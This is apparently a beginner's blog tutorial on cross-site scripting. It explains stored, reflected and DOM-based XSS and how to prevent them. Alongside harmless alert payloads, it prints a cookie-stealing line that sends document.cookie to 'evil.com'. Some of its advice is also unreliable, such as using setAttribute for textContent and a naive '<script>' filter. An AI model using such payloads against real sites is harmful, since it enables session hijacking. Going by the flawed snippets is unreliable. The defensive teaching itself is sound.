Understanding Cross-Site Scripting

Understanding Cross-Site Scripting

Summary

This guide explains XSS in simple terms—no advanced security background required—and gives you practical ways to stop it in your own applications.

If you’re building web applications, sooner or later you’re going to hear about one of the most common and dangerous vulnerabilities on the internet: Cross-Site Scripting (XSS).

XSS attacks have been around for over 20 years, and despite all the tools and frameworks available today, they still appear in thousands of websites every year. The good news is: once you understand how XSS works, preventing it becomes much easier.

What Is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a vulnerability where attackers inject malicious JavaScript into a webpage that other users will load.

In other words:

XSS happens when a website accidentally lets strangers run JavaScript on other people’s browsers.

That JavaScript can:

  • Steal cookies
  • Hijack sessions
  • Redirect users to fake websites
  • Manipulate the page
  • Log keystrokes
  • Perform actions on behalf of the user

If an attacker can run JavaScript inside your users’ browsers, they can do almost anything the user could do.

A Simple XSS Example

You build a comment section like this:

<p>User comment:</p>
<div id="comment">
    {{ user_comment }}
</div>

If someone posts this as a “comment”:

<script>alert("You just got XSSed!")</script>

And your app prints it back without sanitizing it, the browser will happily run it.

This is a basic stored XSS example (explained later). Instead of an alert, attackers can inject real malicious code.


Why XSS Matters (Real-World Story)

In 2005, a developer named Samy found a small XSS flaw in MySpace.
He posted a profile with this hidden payload:

When someone viewed his profile, the script would:

  1. Add Samy as their friend
  2. Copy itself into their profile
  3. Spread to the next visitor

Within 20 hours, over 1 million MySpace users were infected.
Samy became the most popular user on the platform overnight.
(MySpace later banned him.)

This became known as the Samy Worm, and it’s one of the most famous XSS exploits in history.


Types of XSS

There are three main types every developer should know:

1. Stored XSS (Persistent XSS)

This is the most dangerous type.

How it works:
Malicious input is stored in the database and shown to every user who loads the page.

Example:
A user posts a comment containing JavaScript.
Every visitor’s browser executes that script.

Where it appears:

  • Comment sections
  • User profiles
  • Forums
  • Product reviews
  • Chat apps

2. Reflected XSS

This is when malicious script comes from the URL or request and immediately gets “reflected” back in the response.

Example:

A URL like:

https://example.com/search?q=<script>alert(1)</script>

If the site prints q into the HTML without escaping it, boom—XSS.

Common sources:

  • Search bars
  • Contact forms
  • Error messages

Phishing links often use reflected XSS.


3. DOM-Based XSS

Here the vulnerability lives in JavaScript itself, not in the server.

Example:

document.getElementById("output").innerHTML = location.hash.substring(1);URL:

URL:

https://yourapp.com/#<img src=x onerror=alert(1)>

If your JS writes raw data into innerHTML, you’re vulnerable—even though the server is not involved at all.

Why XSS Works: The Browser Trust Model

Browsers trust any JavaScript coming from the website you're visiting.
If the site is example.com, then any script running on that page is assumed to be trusted.

Attackers exploit that trust.

If they manage to inject JavaScript into that page, the script becomes indistinguishable from the site’s real code.

That malicious script now has access to:

  • Cookies
  • Local storage
  • DOM
  • Session tokens
  • User actions

And the browser will not warn the user.

What Attackers Can Do with XSS

XSS is powerful because attackers can do almost anything:

- Steal cookies

If your app stores a session ID in cookies, attackers can do:

fetch("https://evil.com/steal?cookie=" + document.cookie);

- Hijack accounts

Once they get session cookies, they can impersonate the user.

- Redirect users

To phishing pages, malware sites, or fake login forms.

- Modify the page

Replace buttons, forms, prices, text—whatever they want.

- Capture keystrokes

Log your passwords before they’re submitted.

- Trick users into actions

For example, sending money or changing settings.

This is why XSS remains one of the most dangerous vulnerabilities.

How to Prevent XSS (Beginner-Friendly Defensive Techniques)

Good news: most XSS prevention boils down to never trusting user input.

1) Escape Output (MOST IMPORTANT)

Always escape user input before putting it in HTML.

If you expect HTML text:

  • Convert < to &lt;
  • Convert > to &gt;

Modern frameworks do this automatically:

  • React escapes by default
  • Django templates escape by default
  • Rails escapes by default
  • Vue escapes by default

DO NOT bypass auto-escaping unless you absolutely must.

Example (Unsafe):

<div>{{ user_comment }}</div>

Example (Safe):

<div>{{ user_comment | escape }}</div>

2) Avoid innerHTML in JavaScript

Never do:

element.innerHTML = userInput;

Instead use:

element.textContent = userInput;

or

element.setAttribute("textContent", userInput);

If you must use HTML, sanitize it first (e.g., DOMPurify).

3. Use a Trusted HTML Sanitizer

DOMPurify example:

clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

It removes scripts, onerror handlers, event attributes, etc.

4) Use Content Security Policy (CSP)

CSP is a security header that limits where scripts can load from.

Simple CSP example:

Content-Security-Policy: default-src 'self';

This alone blocks:

  • Inline scripts
  • Scripts from unknown domains
  • Many XSS payloads

CSP is not a magic shield, but it makes XSS much harder.

5) Validate and Sanitize Input on the Server

Server-side checks prevent harmful input from being stored (important for stored XSS).

Example (pseudo-code):

if "<script>" in comment.lower():
    reject(comment)

Better: use a real library to sanitize input.

6) Use HTTPOnly Cookies

If you store sessions in cookies, make sure they are marked:

HttpOnly
Secure
SameSite

HttpOnly prevents JavaScript from accessing the cookie, blocking many XSS account-hijacking attempts.

Quick Checklist to Prevent XSS

Beginner programmers should memorize this list:

DO:

  •  Escape output
  • Use textContent instead of innerHTML
  •  Sanitize user input
  •  Enable CSP
  •  Use HttpOnly cookies
  • Trust frameworks’ built-in escaping

DON’T:

  •  Insert untrusted HTML
  • Render user input without sanitizing it
  •  Disable framework escaping
  •  Use inline JavaScript
  • Put user input directly into the DOM

Final Thoughts

Cross-Site Scripting may sound intimidating at first, but the core idea is simple:

Never let users inject JavaScript into pages viewed by other users.

Once you understand how XSS works, you can recognize the patterns everywhere:

  • “Why does this feature print user input directly into the page?”
  • “Should this be escaped?”
  • “Should I be using innerHTML here?”
  • “Do I need a sanitization layer?”

By following the defensive techniques in this post, you’ll dramatically reduce XSS risks in your web applications and build safer, more secure experiences for your users.

Keep building. Keep learning. And keep your users safe.

About Author

Shara Stampfer

Shara Stampfer

Shara, know as "black moon" ,is a full-stack web developer focused on web security issues. She has a deep knowledge on web vulnerabilities and web penetration testing. She also loves participating in Hackathons about cybersecurity and web development.

Comments (0)

No comments yet. Be the first to comment!

Please log in to leave a comment.